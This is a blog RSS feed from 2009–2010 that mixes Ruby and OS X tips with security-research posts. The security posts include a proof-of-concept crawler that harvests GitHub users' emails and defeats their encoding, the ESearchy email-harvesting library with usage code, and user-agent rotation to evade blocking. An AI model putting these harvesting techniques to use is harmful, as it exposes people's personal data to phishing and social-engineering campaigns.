<p>Now, what if we want to always use a binary in 386 mode. arch is not really helpful or what if we want another executable that only contained the i386 architecture code. Here is when <em>lipo</em> comes into play.</p>
<p><strong>LIPO</strong></p>
<p>This command will allow us to create a binary file containing only the desired architectures.<br />
<code>$ lipo -thin i386 /bin/bash -output /bin/bash.i386</code></p>
<p>Now if we we check the bash.i386 file it will only contain the 386 architecture binary information.</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.27.26-PM.jpg"><img class="aligncenter size-full wp-image-289" title="file bash.i386" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.27.26-PM.jpg" alt="" width="597" height="200" /></a></p>
<p>I guess this might be common knowledge to a lot of people, but It was really helpful for me and hopefully to anyone who was not yet aware of this two helpful commands.</p>
<p>Enjoy.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/07/09/strip-binary-executables-in-osx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Github Email Crawler</title>
		<link>http://www.freedomcoder.com.ar/2010/06/13/github-email-crawler/</link>
		<comments>http://www.freedomcoder.com.ar/2010/06/13/github-email-crawler/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 02:52:16 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=218</guid>
		<description><![CDATA[<p>Small proof of concept to crawl several emails using Google, ruby and some Sunday coding.</p> <p>One of the things that Github discloses ( if provided ) is the email addresses.  Short of that, it also discloses information such as Full Name, website, Location, etc, as it is show on the image below.</p> <p style="text-align: center;"><a [...]]]></description>
			<content:encoded><![CDATA[<p>Small proof of concept to crawl several emails using Google, ruby and some Sunday coding.</p>
<p>One of the things that Github discloses ( if provided ) is the email addresses.  Short of that, it also discloses information such as Full Name, website, Location, etc, as it is show on the image below.</p>
<p style="text-align: center;"><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/Screen-shot-2010-06-13-at-8.33.03-PM.jpg"><img class="size-full wp-image-219 aligncenter" title="Profile_sample" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/Screen-shot-2010-06-13-at-8.33.03-PM.jpg" alt="" width="470" height="219" /></a></p>
<p>Taking advantage of this and the fact that it is stored on the  crawled page by Google it is really simple to search for Profile pages in github using a string close to the one shown:</p>
<h3 style="text-align: center;"><strong>site:github.com intitle:Profile</strong></h3>
<p>After that it is just a matter of retrieving each profile URL using a really simple regex like.</p>
<p><strong>response.body.scan(<span style="color: #ff0000;">/&#8221;http:\/\/github.com\/(.*)&#8221;/</span>)</strong></p>
<p><strong><span style="font-weight: normal;">which should be followed by doing a get request of each and every profile.  It is relevant to mention that some emails address are encoded to prevent simple bots from crawling email addresses, but it is easily to bypass, since it is only encoded using a url-encoding method.</span></strong></p>
<p>t<strong>ext.gsub!(</strong><span style="color: #ff0000;"><strong>/eval\(decodeURIComponent\(&#8216;.*&#8217;\)\)/</strong></span><strong>) { |a| </strong><span style="color: #339966;"><strong>CGI</strong></span><strong>.unescape(a) }</strong></p>
<p><strong><span style="font-weight: normal;">Once we have the profile we can start gathering emails from the github.com site.  Even though this is just a simple proof of concept there are plenty of information that could be gathered to aid different types of social-engineering attacks. </span></strong></p>
<p>Anyways, after a few minutes I had a really crapy and simple script that will crawl Google and find all Github.com Profiles in order to obtain all the disclosed email addresses.</p>
<p>( As I previously mentioned this could be expanded to harvest much more profile-able  data. )</p>
<p>Enjoy ! <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><script src="http://gist.github.com/437222.js?file=github_email_crawler.rb"></script><br />
<script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/06/13/github-email-crawler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I&#8217;m a P1r4t3 now !</title>
		<link>http://www.freedomcoder.com.ar/2010/05/24/im-a-p1r4t3-now/</link>
		<comments>http://www.freedomcoder.com.ar/2010/05/24/im-a-p1r4t3-now/#comments</comments>
		<pubDate>Mon, 24 May 2010 14:00:15 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=210</guid>
		<description><![CDATA[<p>Lately, a lot of things are changing in my life. A month and a half ago one of the things that changed  was &#8220;the job&#8221;.</p> <p>I&#8217;m currently working for IOActive. Last week while I was visiting headquarters. Our official initialization was performed: &#8220;After many beers, a Jagermeister shot, and many hot dogs; I became an [...]]]></description>
			<content:encoded><![CDATA[<p>Lately, a lot of things are changing in my life. A month and a half ago one of the things that changed  was &#8220;the job&#8221;.</p>
<p>I&#8217;m currently working for <strong>IOActive</strong>. Last week while I was visiting headquarters. Our official initialization was performed: &#8220;After many beers, a Jagermeister shot, and many hot dogs; I became an official IOActive P1r4t3&#8243;</p>
<p><span style="color: #ff0000;"><strong>Thanks for all the good times pimps and hoouuus !</strong></span></p>
<p style="text-align: center;"><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/05/IMG_1052.jpg"><img class="aligncenter" title="IMG_1052" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/05/IMG_1052-225x300.jpg" alt="" width="203" height="270" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/05/24/im-a-p1r4t3-now/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Installing ESearchy on Backtrack 4.0</title>
		<link>http://www.freedomcoder.com.ar/2010/05/17/installing-esearchy-on-backtrack-4-0/</link>
		<comments>http://www.freedomcoder.com.ar/2010/05/17/installing-esearchy-on-backtrack-4-0/#comments</comments>
		<pubDate>Mon, 17 May 2010 23:08:48 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=206</guid>
		<description><![CDATA[<p>A lot of people told me that ESearchy was not working on backtrack 4.0. Here is a short how-to. Let me know if any of you run into other issues. So I can expand this how-to.</p> <p>$ sudo apt-get update<br /> $ sudo apt-get upgrade<br /> $ ruby -v<br /> $ gem -v<br /> # [...]]]></description>
			<content:encoded><![CDATA[<p>A lot of people told me that ESearchy was not working on backtrack 4.0.  Here is a short how-to.  Let me know if any of you run into other issues. So I can expand this how-to.</p>
<p><code>$ sudo apt-get update<br />
$ sudo apt-get upgrade<br />
$ ruby -v<br />
$ gem -v<br />
# 1.2 sudo<br />
# this is OLD !!!<br />
$ sudo gem install rubygems-update<br />
$ sudo /var/lib/gems/1.8/bin/update_rubygems<br />
#by default it will fail if you do not have installed libxslt-dev<br />
sudo apt-get install libxslt-dev<br />
# we need github gems<br />
sudo gem sources --add http://gems.github.com<br />
sudo gem install esearchy<br />
# latest available version 2.0.7  ( if not 2.0.8 <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  )</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/05/17/installing-esearchy-on-backtrack-4-0/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Where are gem&#8217;s executables in Ubuntu?</title>
		<link>http://www.freedomcoder.com.ar/2010/02/28/where-are-gems-executables-in-ubuntu/</link>
		<comments>http://www.freedomcoder.com.ar/2010/02/28/where-are-gems-executables-in-ubuntu/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 00:13:30 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=202</guid>
		<description><![CDATA[<p>As you might know, I&#8217;m always working on new projects to automate my work. Call me lazy, call me smart, but the true is that I actually enjoy programming, and if helps making my life easier, it is more than welcomed </p> <p>Whenever I do a new gem I try to test it on as [...]]]></description>
			<content:encoded><![CDATA[<p>As you might know, I&#8217;m always working on new projects to automate my work. Call me lazy, call me smart, but the true is that I actually enjoy programming, and if helps making my life easier, it is more than welcomed <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Whenever I do a new gem I try to test it on as many platforms as I can.  OSX is the default development platform so usually they always work there, then I try on Gentoo, Fedora, Windows and Ubuntu.</p>
<p>I usually run into problems when I have to find where does Ubuntu saves the gem files and binaries. Yes, you will search pretty much everywhere but you won&#8217;t remember where the hell they are.</p>
<p>Since I got tired of searching every time I test something on an ubuntu VM, here is a short how-to so I won&#8217;t have to search next time.</p>
<p>Google Search: &#8220;can&#8217;t find gem executables in ubuntu&#8221;</p>
<p>or<br />
<code>$ sudo gem environment<br />
RubyGems Environment:<br />
  - RUBYGEMS VERSION: 1.3.5<br />
  - RUBY VERSION: 1.8.7 (2009-06-12 patchlevel 174) [i486-linux]<br />
  - INSTALLATION DIRECTORY: /var/lib/gems/1.8<br />
  - RUBY EXECUTABLE: /usr/bin/ruby1.8<br />
  - EXECUTABLE DIRECTORY: /var/lib/gems/1.8/bin<br />
  - RUBYGEMS PLATFORMS:<br />
    - ruby<br />
    - x86-linux<br />
  - GEM PATHS:<br />
     - /var/lib/gems/1.8<br />
     - /home/USER/.gem/ruby/1.8<br />
  - GEM CONFIGURATION:<br />
     - :update_sources =&gt; true<br />
     - :verbose =&gt; true<br />
     - :benchmark =&gt; false<br />
     - :backtrace =&gt; false<br />
     - :bulk_threshold =&gt; 1000<br />
     - :sources =&gt; ["http://gems.rubyforge.org/", "http://gems.github.com"]<br />
  - REMOTE SOURCES:<br />
     - http://gems.rubyforge.org/<br />
     - http://gems.github.com<br />
</code></p>
<p>As it is shown above, my Ubuntu installation saves all installed gems in  ~/.gems or /var/lib/gems/1.8. Once you have the path, all you have to do is add them to your shell rc file.</p>
<p>In the case you use bash or zsh:</p>
<p><code>export PATH=$PATH:/var/lib/gems/1.8/bin</code></p>
<p>or, if you already have a PATH like i do just add it to the declaration</p>
<p><code>PATH=/usr/bin:......:/var/lib/gems/1.8/bin</code></p>
<p>re open your shell and EUREKA, all your gem&#8217;s executable are now in your path.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/02/28/where-are-gems-executables-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Another year is in the can! Welcome 29s</title>
		<link>http://www.freedomcoder.com.ar/2010/01/31/another-year-is-in-the-can-welcome-29s/</link>
		<comments>http://www.freedomcoder.com.ar/2010/01/31/another-year-is-in-the-can-welcome-29s/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 13:35:09 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=198</guid>
		<description><![CDATA[<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/01/gits_grunge1024.jpg"></a>Yes, today is my b-day. Hence I decided to add a few lines in this &#8220;kind of&#8221; forgotten blog.<br /> Lately, I being doing plenty of interesting stuff, but haven&#8217;t had the time to sit and write about those things.</p> <p>Here are a few updates.<br /> * ESearchy-NG has a few new features. (Spoke [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/01/gits_grunge1024.jpg"><img class="alignleft size-thumbnail wp-image-199" style="border: 5px solid white;" title="gits_grunge1024" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/01/gits_grunge1024-150x150.jpg" alt="" width="150" height="150" /></a>Yes, today is my <strong>b-day</strong>. Hence I decided to add a few lines in this &#8220;kind of&#8221; forgotten blog.<br />
Lately, I being doing plenty of interesting stuff, but haven&#8217;t had the time to sit and write about those things.</p>
<p>Here are a few updates.<br />
* <strong>ESearchy-NG</strong> has a few new features. (Spoke being one of them)</p>
<p>* <strong>EMaily</strong> is almost finished. I have started testing and I&#8217;m looking for people willing to test this buggy version.  (ohhh&#8230; EMaily is an automated companion tool to send client-side emails to hundred or thousands of people in different servers using customizable templates, etc. )</p>
<p>* <strong>Several other researches</strong> are on my table slowly developing into interesting tools or projects.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/01/31/another-year-is-in-the-can-welcome-29s/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bugmenot CLI script ( updated )</title>
		<link>http://www.freedomcoder.com.ar/2009/10/21/bugmenot-cli-script-updated/</link>
		<comments>http://www.freedomcoder.com.ar/2009/10/21/bugmenot-cli-script-updated/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 15:13:50 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=185</guid>
		<description><![CDATA[<p>A few update to the script. Now is has percentages, &#8220;other&#8221; information field and the option of providing how many results you want back. and color output . </p> <p>Enjoy</p> <p><br /> </p>]]></description>
			<content:encoded><![CDATA[<p>A few update to the script. Now is has  percentages, &#8220;other&#8221; information field and the option of providing how many results you want back. and color output <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . </p>
<p>Enjoy</p>
<p><script src="http://gist.github.com/186788.js"></script><br />
<script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/10/21/bugmenot-cli-script-updated/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bugmenot CLI script</title>
		<link>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/</link>
		<comments>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/#comments</comments>
		<pubDate>Mon, 14 Sep 2009 17:35:05 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=181</guid>
		<description><![CDATA[<p>Little script to help while surfing the web. So far it gets the username and password. I will be adding the success percentage and the possibility of limiting the search results.<br /> Otherwise, enjoy as it is.<br /> </p>]]></description>
			<content:encoded><![CDATA[<p>Little script to help while surfing the web.  So far it gets the username and password. I will be adding the success percentage and the possibility of limiting the search results.<br />
Otherwise, enjoy as it is.<br />
<script src="http://gist.github.com/186788.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>First stable beta of ESearchy is out!</title>
		<link>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/</link>
		<comments>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 18:15:37 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out</guid>
		<description><![CDATA[Finally, after weeks of work, the first stable Beta of ESearchy is up and running in github's gem repository. 
Esearchy is a small library capable of searching the internet for email addresses. Currently, the supported search methods are engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, Linkedin, etc , but I intend to add many more.

Also, the library searches inside .pdf, .docx, .xlsx, .pptx, asn and .txt files for emails addresses and adds them to the list of found accounts. Finally, we have support for .docs files but for now only in Windows Platforms. (For more information visit: <a href="http://github.com/FreedomCoder/esearchy/tree/master"> Github </a> .

In order to install it you simple add the repository and then install the gem, as shown below.

<bash>
>  gem sources -a http://gems.github.com
>  gem install FreedomCoder-esearchy
</bash>

Once the gem is installed, you can create a new search opening and/or use the "esearchy" CLI tool but it's really basic so far and it does not has all of the plugins. 
<code>
require 'esearchy'

ESearchy::LOG.level = ESearchy::APP #Output to the stdout. 

ESearchy.create "domain.com" do &#124;d&#124;
  d.yahoo_key = "yourAPIkeygoeshere"
  d.bing_key = "yourAPIkeygoeshere" 
  # if you want to also look in LinkedIn
  d.company_name "Company Name"
  #A user is needed in order to search within Linkedin
  d.linkedin_credentials "myuser@linkedin.com", "mypwd" 
  d.maxhits = 50 
  d.search
  d.save_to_file "company_emails.txt"
end
</code>
If you have any comments, issues or want to submit a bug please do so on
<a href="http://github.com/FreedomCoder/esearchy/issues">http://github.com/FreedomCoder/esearchy/issues</a>

 Hopefully it will be useful to you. 
:)
]]></description>
			<content:encoded><![CDATA[<p>Finally, after weeks of work, the first stable Beta of ESearchy is up and running in github&#8217;s gem repository.<br />
Esearchy is a small library capable of searching the internet for email addresses. Currently, the supported search methods are engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, Linkedin, etc , but I intend to add many more.</p>
<p>Also, the library searches inside .pdf, .docx, .xlsx, .pptx, asn and .txt files for emails addresses and adds them to the list of found accounts. Finally, we have support for .docs files but for now only in Windows Platforms. (For more information visit: <a href="http://github.com/FreedomCoder/esearchy/tree/master"> Github </a> .</p>
<p>In order to install it you simple add the repository and then install the gem, as shown below.<br />
<code >&amp;gt;  gem sources -a http://gems.github.com<br />
&amp;gt;  gem install FreedomCoder-esearchy</code><br />
Once the gem is installed, you can create a new search opening and/or use the &#8220;esearchy&#8221; CLI tool but it&#8217;s really basic so far and it does not has all of the plugins.<br />
<code lang="ruby">require 'esearchy'</code></p>
<p><code >ESearchy::LOG.level = ESearchy::APP #Output to the stdout.<br />
</code></p>
<p><code >ESearchy.create "domain.com" do |d|<br />
d.yahoo_key = "yourAPIkeygoeshere"<br />
d.bing_key = "yourAPIkeygoeshere"<br />
# if you want to also look in LinkedIn<br />
d.company_name "Company Name"<br />
#A user is needed in order to search within Linkedin<br />
d.linkedin_credentials "myuser@linkedin.com", "mypwd"<br />
d.maxhits = 50<br />
d.search<br />
d.save_to_file "company_emails.txt"<br />
end</code><br />
If you have any comments, issues or want to submit a bug please do so on<br />
<a href="http://github.com/FreedomCoder/esearchy/issues">http://github.com/FreedomCoder/esearchy/issues</a></p>
<p>Hopefully it will be useful to you.<br />
 <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Random User Agents</title>
		<link>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/</link>
		<comments>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 00:35:02 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/07/10/random-user-agents</guid>
		<description><![CDATA[While programming Esearchy I had to create a simple class to retrieve random user agents. You may say but why you would want something like this, and the answer is simple:
 "Try to trick the search engines, so they would not block me".  

Yeah, I know this might not even works, but it's still cool. =D

Well here it goes
<script src="http://gist.github.com/144932.js"></script>

Use it at your own discretion and listen to your ghost ...]]></description>
			<content:encoded><![CDATA[<p>While programming Esearchy I had to create a simple class to retrieve random user agents. You may say but why you would want something like this, and the answer is simple:<br />
 &#8220;Try to trick the search engines, so they would not block me&#8221;.  </p>
<p>Yeah, I know this might not even works, but it&#8217;s still cool. =D</p>
<p>Well here it goes<br />
<script src="http://gist.github.com/144932.js"></script></p>
<p>Use it at your own discretion and listen to your ghost &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I&#8217;m back with some Code &#8230;</title>
		<link>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/</link>
		<comments>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 01:46:17 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-</guid>
		<description><![CDATA[Well, hello again, long time since the last post. I went on vacations, work a lot and did some programming. Let's talk abount the programming part, since it is the most interesting one. ;)

I created a small library called "Esearchy" capable of searching the internet for email addresses. Currently, we the supported search methods are  engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, etc , but I intend to add many more.
Also, the library searches inside .pdf and .txt files for emails addresses and adds them to the list of found accounts.  

For now, there are two main ways of performing a search, "the ruby way"
<code>
 Esearchy.create "domain.com" do &#124;domain&#124;
   domain.maxhits = 500
   domain.search
   domain.clean {&#124;e&#124; e =~ /<&#124;>/ }
   domain.save_to_file "~/emails.txt"
 end
</code>

and the more classic way in which users can create an Esearchy objetc and work on it

<code>
  domain = Esearchy.new :query => "domain.com", :maxhits => 500
  domain.search
  domain.save_to_file "~/emails.txt"
</code>

For now , that's it for now , but keep on tuned for more shitty code ajjajaa 
]]></description>
			<content:encoded><![CDATA[<p>Well, hello again, long time since the last post. I went on vacations, work a lot and did some programming. Let&#8217;s talk abount the programming part, since it is the most interesting one. <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>I created a small library called &#8220;Esearchy&#8221; capable of searching the internet for email addresses. Currently, we the supported search methods are  engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, etc , but I intend to add many more.<br />
Also, the library searches inside .pdf and .txt files for emails addresses and adds them to the list of found accounts.  </p>
<p>For now, there are two main ways of performing a search, &#8220;the ruby way&#8221;<br />
<code> Esearchy.create "domain.com" do |domain|<br />
   domain.maxhits = 500<br />
   domain.search<br />
   domain.clean {|e| e =~ /&lt;|&gt;/ }<br />
   domain.save_to_file "~/emails.txt"<br />
 end</code></p>
<p>and the more classic way in which users can create an Esearchy objetc and work on it</p>
<p><code>  domain = Esearchy.new :query =&gt; "domain.com", :maxhits =&gt; 500<br />
  domain.search<br />
  domain.save_to_file "~/emails.txt"</code></p>
<p>For now , that&#8217;s it for now , but keep on tuned for more shitty code ajjajaa </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>I&#8217;m going LOCO on Friday !!!</title>
		<link>http://www.freedomcoder.com.ar/2009/04/01/im-going-loco-on-friday-/</link>
		<comments>http://www.freedomcoder.com.ar/2009/04/01/im-going-loco-on-friday-/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 00:18:16 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/04/01/im-going-loco-on-friday-</guid>
		<description><![CDATA[Nos vemos en LocosxRails 2009 ... Espero pasarla mas que bien y que a la gente le gusta la charla.

<img src="http://www.freedomcoder.com.ar/files/Picture 2.jpg" alt="Picture 2.jpg" border="0" width="571" height="555" />]]></description>
			<content:encoded><![CDATA[<p>Nos vemos en LocosxRails 2009 &#8230; Espero pasarla mas que bien y que a la gente le gusta la charla.</p>
<p><img src="http://www.freedomcoder.com.ar/files/Picture 2.jpg" alt="Picture 2.jpg" border="0" width="571" height="555" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/04/01/im-going-loco-on-friday-/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hash.map is not working ?</title>
		<link>http://www.freedomcoder.com.ar/2009/03/19/hashmap-is-not-working-/</link>
		<comments>http://www.freedomcoder.com.ar/2009/03/19/hashmap-is-not-working-/#comments</comments>
		<pubDate>Thu, 19 Mar 2009 15:59:00 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/03/19/hashmap-is-not-working-</guid>
		<description><![CDATA[While coding a new lib i'm doing I was trying to do something with a Hash and I came across this.

<code>
irb(main):002:0> {:a => 1, :b => 2}.map do &#124;k,v&#124; v+2 end
=> [3, 4]
</code>

When I try to map a Hash I get in return an Array. Shoulnd't I get a Hash??? It's that the idea of "mapping" ? I tried in both 1.8 and 1.9.1 and both returned the same. I guess I'm either missing something or map is not implemented as it should be. 
Help please!!,  Anyone ?

<strong>UPDATE: </strong>
Well, I think this is an explanation (extracted from the RDoc) :

<strong>
enum.collect {&#124; obj &#124; block } => array
enum.map {&#124; obj &#124; block } => array
</strong>

Returns a new array with the results of running block once for every element in enum.

<code>
   (1..4).collect {&#124;i&#124; i*i }   #=> [1, 4, 9, 16]
   (1..4).collect { "cat"  }   #=> ["cat", "cat", "cat", "cat"]
</code>]]></description>
			<content:encoded><![CDATA[<p>While coding a new lib i&#8217;m doing I was trying to do something with a Hash and I came across this.</p>
<p><code>irb(main):002:0&gt; {:a =&gt; 1, :b =&gt; 2}.map do |k,v| v+2 end<br />
=&gt; [3, 4]</code></p>
<p>When I try to map a Hash I get in return an Array. Shoulnd&#8217;t I get a Hash??? It&#8217;s that the idea of &#8220;mapping&#8221; ? I tried in both 1.8 and 1.9.1 and both returned the same. I guess I&#8217;m either missing something or map is not implemented as it should be.<br />
Help please!!,  Anyone ?</p>
<p><strong>UPDATE: </strong><br />
Well, I think this is an explanation (extracted from the RDoc) :</p>
<p><strong><br />
enum.collect {| obj | block } => array<br />
enum.map {| obj | block } => array<br />
</strong></p>
<p>Returns a new array with the results of running block once for every element in enum.</p>
<p><code>   (1..4).collect {|i| i*i }   #=&gt; [1, 4, 9, 16]<br />
   (1..4).collect { "cat"  }   #=&gt; ["cat", "cat", "cat", "cat"]</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/03/19/hashmap-is-not-working-/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WEBrick Transparent Proxy + code injection.</title>
		<link>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/</link>
		<comments>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 17:00:17 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection</guid>
		<description><![CDATA[I've search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. 

